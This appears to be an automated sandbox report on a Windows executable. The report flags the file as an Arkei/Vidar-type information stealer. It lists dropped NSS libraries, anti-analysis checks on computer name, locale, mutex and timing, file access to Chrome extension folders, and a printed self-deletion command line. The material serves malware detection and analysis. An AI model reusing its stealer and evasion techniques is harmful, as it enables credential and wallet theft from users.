Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60936B27	0_2_60936B27
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60954CF6	0_2_60954CF6
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60950C6B	0_2_60950C6B
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60966DF1	0_2_60966DF1
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60963D35	0_2_60963D35
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60909E9C	0_2_60909E9C
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60951E86	0_2_60951E86
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60912E0B	0_2_60912E0B
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60954FF8	0_2_60954FF8

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: String function: 004054F0 appears 577 times

Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll8 vs DZ1x3hqhbe.exe
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs DZ1x3hqhbe.exe
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs DZ1x3hqhbe.exe
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll8 vs DZ1x3hqhbe.exe
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs DZ1x3hqhbe.exe
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs DZ1x3hqhbe.exe

Source: DZ1x3hqhbe.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: DZ1x3hqhbe.exe PID: 1460, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: DZ1x3hqhbe.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/15@1/1

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

File created: C:\Users\user\Desktop\26XT0RQ1

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: DZ1x3hqhbe.exe, DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: DZ1x3hqhbe.exe, DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: DZ1x3hqhbe.exe, DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670288827.000000000EFAE000.00000004.00000020.00020000.00000000.sdmp, DZ1x3hqhbe.exe, 00000000.00000002.1672329281.000000006096F000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: GVA1VKFU.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DZ1x3hqhbe.exe	ReversingLabs: Detection: 83%
Source: DZ1x3hqhbe.exe	Virustotal: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\DZ1x3hqhbe.exe C:\Users\user\Desktop\DZ1x3hqhbe.exe
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: DZ1x3hqhbe.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Unpacked PE file: 0.2.DZ1x3hqhbe.exe.60900000.1.unpack

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00409220 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00409220

Source: DZ1x3hqhbe.exe	Static PE information: section name:
Source: mozglue.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60983000 pushad ; iretd	0_2_60983031
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60923704 push esp; ret	0_2_60923705
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_6096D990 push eax; ret	0_2_6096D9C0
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60922C64 push 83FFFFFDh; ret	0_2_60922C69
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60911F9E push ecx; mov dword ptr [esp], ebx	0_2_60911FD3
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_60987F71 pushad ; iretd	0_2_60987F74

Source: initial sample

Static PE information: section name: .text entropy: 7.297564352277614

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit			Jump to behavior

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00415FC0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_00415FC0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00408370

0_2_00408370

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-55281

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-53999

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-54006

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_60920C91 rdtsc

0_2_60920C91

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_00408370

0_2_00408370

Source: C:\Windows\SysWOW64\timeout.exe TID: 7232

Thread sleep count: 42 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B3A0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_6092A5DC sqlite3_os_init,GetSystemInfo,

0_2_6092A5DC

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

API call chain: ExitProcess graph end node

graph_0-53995

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_60920C91 rdtsc

0_2_60920C91

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Code function: 0_2_004054F0 VirtualProtect ?,00000004,00000100,00000000

0_2_004054F0

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

